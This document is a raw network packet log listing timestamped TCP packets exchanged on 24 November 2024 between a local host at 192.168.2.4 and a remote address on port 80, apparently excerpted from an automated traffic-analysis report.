Nov 24, 2024 12:24:17.000021935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000032902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000040054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000051022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000061989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000072002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000081062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000087976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000098944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000108004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000119925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000125885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000132084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000142097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000150919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000160933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000176907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000183105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000195026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000200987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000214100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000219107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000226021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000236034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000250101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000255108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000262976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000271082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000281096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000291109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000305891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000310898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000319004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000329971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000344992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000349998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000356913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000366926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000380039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000384092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000392914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000402927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000416994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000427961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000437021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000447989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000458956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000467062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000478983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000494003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000504017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000513077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000523090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000540018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000547886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000560045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000571966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000581980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000588894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000597954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000611067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000619888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000632048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000638962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000649929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000657082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000663042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000674009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000685930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000696898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000706911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000711918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000722885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000729084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000736952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000749111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000755072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000767946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000776052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000787020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.000797033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000816107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.000837088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.001388073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.001436949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.001487970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.001532078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.002151966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.002197981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.002295971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.002346992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.003077984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.003122091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.003195047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.003238916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.004065990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.004112005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.004152060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.004195929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.004983902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.005029917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.005181074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.005228043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.005786896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.005831957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.177670956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.177762985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.177791119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.177800894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.177813053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.177831888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.177864075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.178497076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.178517103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.178544998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.178576946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.179342031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.179389954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.179440975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.179486990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.180140018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.180186987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.180239916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.180289030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.180984974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.181031942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.181090117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.181134939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.181844950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.181890965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.181915045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.181957006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.182650089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.182696104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.182790041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.182836056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.183497906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.183538914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.183644056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.183686018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.184353113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.184401989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.184546947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.184585094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.185153961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.185197115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.185260057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.185303926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.185993910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.186038971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.186096907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.186141014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.186847925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.186889887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.186964035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.187010050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.187681913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.187751055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.187777996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.187820911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.188518047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.188563108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.188616037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.188657045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.189346075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.189388990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.189455032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.189500093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.190221071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.190263987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.190313101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.190357924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.191138029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.191184044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.191266060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.191309929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.191884041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.191930056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.191972971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.192014933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.192679882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.192729950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.192790985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.192837954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.193521023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.193567038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.193676949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.193720102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.194413900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.194468021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.194570065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.194614887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.195189953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.195231915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.195317030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.195360899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.196023941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.196069002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.196120977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.196166992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.196947098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.196993113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.197036982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.197082043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.197774887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.197840929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.197866917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.197909117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.198550940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.198617935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.198643923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.198687077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.199408054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.199454069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.199482918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.199522018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.200231075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.200275898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.200340033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.200390100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.201044083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.201086998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.201142073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.201188087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.201908112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.201953888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.202023983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.202066898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.202743053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.202788115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.202850103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.202891111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.203599930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.203649044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.203800917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.203849077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.204571962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.204621077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.204682112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.204725027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.205374002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.205420017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.205444098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.205487013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.206091881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.206140041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.206207991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.206253052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.206949949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.206993103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.207098961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.207142115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.207803011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.207866907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.207951069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.207997084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.208571911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.208617926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.208688974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.208733082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.209398031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.209440947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.209489107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.209530115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.210258961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.210303068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.210344076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.210397959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.211142063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.211188078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.211308002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.211354017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.212064981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.212107897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.212150097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.212192059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.212816954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.212860107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.212924957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.212966919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.213613987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.213656902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.213716984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.213759899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.214446068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.214492083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.214566946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.214616060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.215270996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.215322018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.215384960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.215424061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.216109037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.216152906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.216213942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.216259956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.216938972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.216984034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.217076063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.217119932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.217787981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.217834949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.217876911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.217919111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.218663931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.218708038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.218837023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.218878031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.219667912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.219706059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.219789982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.219834089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.220571041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.220613956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.220689058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.220730066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.221147060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.221189022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.378902912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.379045010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.379051924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.379097939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.379163027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.379215002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.379357100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.379400015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.379471064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.379513025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.380198956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.380244017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.380295038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.380337954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.381026030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.381069899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.381127119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.381169081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.381867886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.381915092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.381985903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.382024050 CET	49765	80	192.168.2.4	31.41.244.11
